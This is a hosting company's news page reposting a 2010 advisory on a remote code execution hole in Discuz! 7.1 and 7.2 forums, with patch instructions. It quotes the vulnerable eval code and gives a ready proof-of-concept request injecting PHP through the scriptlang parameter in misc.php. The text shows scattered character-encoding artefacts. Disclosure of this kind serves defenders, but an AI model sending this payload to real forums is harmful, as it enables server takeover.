更多... 新聞公告

• 端午節(jié)活動(dòng)開(kāi)始啦！
• 關(guān)于網(wǎng)站無(wú)法訪(fǎng)問(wèn)，提示未備案或違法信
• “速成網(wǎng)站”助力企業(yè)快速建站
• 盤(pán)點(diǎn)存儲(chǔ)虛擬化的幾大優(yōu)勢(shì)
• 中電信員工數(shù)66萬(wàn)人 5年內(nèi)寬帶提升
• 山西電信停用無(wú)限上網(wǎng)卡 被質(zhì)疑單方毀
• 第一季度移動(dòng)終端用戶(hù)增量中國(guó)居全球首
• 周鴻祎連揭小米機(jī)密 馬化騰回應(yīng)暗含深
• 電商價(jià)格戰(zhàn)18日上演對(duì)決 天貓400
• 劉強(qiáng)東證實(shí)京東商城已購(gòu)入3.cn和j
• 神九航天員成功接收第一封電子郵件
• 谷歌每天新發(fā)現(xiàn)約9500個(gè)惡意網(wǎng)站

導(dǎo)航菜單

• 關(guān)于我們
• 聯(lián)系方式
• 如何購(gòu)買(mǎi)
• 付款方式
• 新聞公告
• 幫助中心
• 相關(guān)下載
• 備案專(zhuān)題

【嚴(yán)重】Discuz!最新漏洞

____________________________________________________________________________________________
1月7日消息，國(guó)內(nèi)著名論壇程序DISCUZ最新發(fā)現(xiàn)0day漏洞，請(qǐng)使用DZ7.1和7.2的朋友抓緊打補(bǔ)丁以免被入侵。4個(gè)小時(shí)前官方剛出的補(bǔ)丁,估計(jì)現(xiàn)在黑客正在瘋狂的利用這個(gè)0day呢。

　　Discuz! 重要安全補(bǔ)丁 20100110 For Discuz! 7.1 Discuz! 7.2
　　特別說(shuō)明：產(chǎn)生漏洞的$scriptlang數(shù)組在安裝插件后已經(jīng)初始化，因此有安裝插件的用戶(hù)不受影響。
　　漏洞介紹：
　　Discuz!新版本7.1與7.2版本中的showmessage函數(shù)中eval中執(zhí)行的參數(shù)未初始化，可以任意提交，從而可以執(zhí)行任意PHP命令。
　　漏洞分析：
　　下面來(lái)分析下這個(gè)遠(yuǎn)程代碼執(zhí)行漏洞，這個(gè)問(wèn)題真的很?chē)?yán)重，可以直接寫(xiě)shell的：
　　一、漏洞來(lái)自showmessage函數(shù)：
　　function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {
　　extract($GLOBALS, EXTR_SKIP);//危險(xiǎn)的用法，未初始化的變量可以直接帶進(jìn)函數(shù)，直接導(dǎo)致了問(wèn)題產(chǎn)生，from www.oldjun.com
　　global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;
　　define('CACHE_FORBIDDEN', TRUE);
　　$hookscriptmessage = $show_message = $message;$messagehandle = 0;
　　$msgforward = unserialize($_DCACHE['settings']['msgforward']);
　　$refreshtime = intval($msgforward['refreshtime']);
　　$refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);
　　$msgforward['refreshtime'] = $refreshtime * 1000;
　　$url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) && $transsidstatus ? transsid($url_forward) : $url_forward);
　　$seccodecheck = $seccodestatus & 2;
　　if($_DCACHE['settings']['funcsiteid'] && $_DCACHE['settings']['funckey'] && $funcstatinfo && !IS_ROBOT) {
　　$statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';
　　if($fp = @fopen($statlogfile, 'a')) {
　　@flock($fp, 2);
　　if(is_array($funcstatinfo)) {
　　$funcstatinfo = array_unique($funcstatinfo);
　　foreach($funcstatinfo as $funcinfo) {
　　fwrite($fp, funcstat_query($funcinfo, $message)."\n");
　　}
　　} else {
　　fwrite($fp, funcstat_query($funcstatinfo, $message)."\n");
　　}
　　fclose($fp);
　　$funcstatinfo = $GLOBALS['funcstatinfo'] = '';
　　}
　　}
　　if(!defined('STAT_DISABLED') && STAT_ID > 0 && !IS_ROBOT) {
　　write_statlog($message);
　　}
　　if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward['quick'] && $msgforward['messages'] && @in_array($message, $msgforward['messages']))) {
　　updatesession();
　　dheader("location: ".str_replace('&', '&', $url_forward));
　　}
　　if(!empty($infloat)) {
　　if($extra) {
　　$messagehandle = $extra;
　　}
　　$extra = '';
　　}
　　if(in_array($extra, array('HALTED', 'NOPERM'))) {
　　$discuz_action = 254;
　　} else {
　　$discuz_action = 255;
　　}
　　include language('messages');
　　$vars = explode(':', $message);//只要含:就可以了
　　if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//兩個(gè)數(shù)字即可，用:分割
　　eval("\$show_message = \"".str_replace('"', '\"', $scriptlang[$vars[0]][$vars[1]])."\";");//$scriptlang未初始化，可以自定義，from www.safe5.com } elseif(isset($language[$message])) {
　　$pre = $inajax ? 'ajax_' : '';
　　eval("\$show_message = \"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."\";");
　　unset($pre);
　　}
　　......
　　}
　　二、DZ的全局機(jī)制導(dǎo)致了未初始化的參數(shù)可以任意提交：
　　foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
　　foreach($$_request as $_key => $_value) {
　　$_key{0} != '_' && $$_key = daddslashes($_value);
　　}
　　}
　　三、misc.php正好有個(gè)可以自定義message的點(diǎn)，其實(shí)也是未初始化：
　　elseif($action == 'imme_binding' && $discuz_uid) {
　　if(isemail($id)) {
　　$msn = $db->result_first("SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'");
　　$msn = explode("\t", $msn);
　　$id = dhtmlspecialchars(substr($id, 0, strpos($id, '@')));
　　$msn = "$msn[0]\t$id";
　　$db->query("UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'");
　　showmessage('msn_binding_succeed', 'memcp.php');
　　} else {
　　if($result == 'Declined') {
　　dheader("Location: memcp.php");
　　} else {
　　showmessage($response['result']);//$response沒(méi)有初始化，可以自定義，from www.safe5.com
　　}
　　}
　　}
　　四、漏洞利用：
　　showmessage函數(shù)里$vars = explode(':', $message);然后message可以自己控制，于是就很容易了，參數(shù)是兩個(gè)自定義的數(shù)組。
　　五、漏洞修復(fù)：
　　1.有補(bǔ)丁的打補(bǔ)丁;
　　2.沒(méi)有補(bǔ)丁可以暫時(shí)先注釋引起漏洞的語(yǔ)句，或者對(duì)兩個(gè)變量賦個(gè)值。
　　poc：
　　(應(yīng)Saiy的要求，不發(fā)exp了!)注冊(cè)一個(gè)用戶(hù)登陸,然后提交
　　misc.php?action=imme_binding&response[result]=1:2&scriptlang[1][2]={${phpinfo()}}
　　下面是補(bǔ)丁：
　　更新內(nèi)容:
　　修復(fù)版本存在的重要安全問(wèn)題
　　修復(fù)版本中存在的其他使用 bug
　　安全級(jí)別
　　高
　　涉及版本
　　Discuz! 7.1 , Discuz! 7.2
　　修補(bǔ)方法:
　　1. 根據(jù)您的版本下載補(bǔ)丁包
　　7.1 用戶(hù) http://download2.comsenz.com/Discuz/patch/7.1/D710_UPGRADE_TO_20100110.zip
　　7.2 用戶(hù) http://download2.comsenz.com/Discuz/patch/7.2/D720_UPGRADE_TO_20100110.zip
　　2. 解壓縮文件
　　3. 上傳upload目錄中的所有文件到您的論壇, 覆蓋原有程序
　　4. 修復(fù)完成.
　　注意事項(xiàng):
　　以下目錄中包含有相應(yīng)版本的以往的補(bǔ)丁文件, 如果您尚未修復(fù), 您應(yīng)當(dāng)按照補(bǔ)丁發(fā)布的時(shí)間, 依次覆蓋修復(fù)
　　http://download2.comsenz.com/Discuz/patch/7.1/
　　http://download2.comsenz.com/Discuz/patch/7.2/


                                                                       合租站長(zhǎng)站


         

發(fā)布時(shí)間:2010-1-7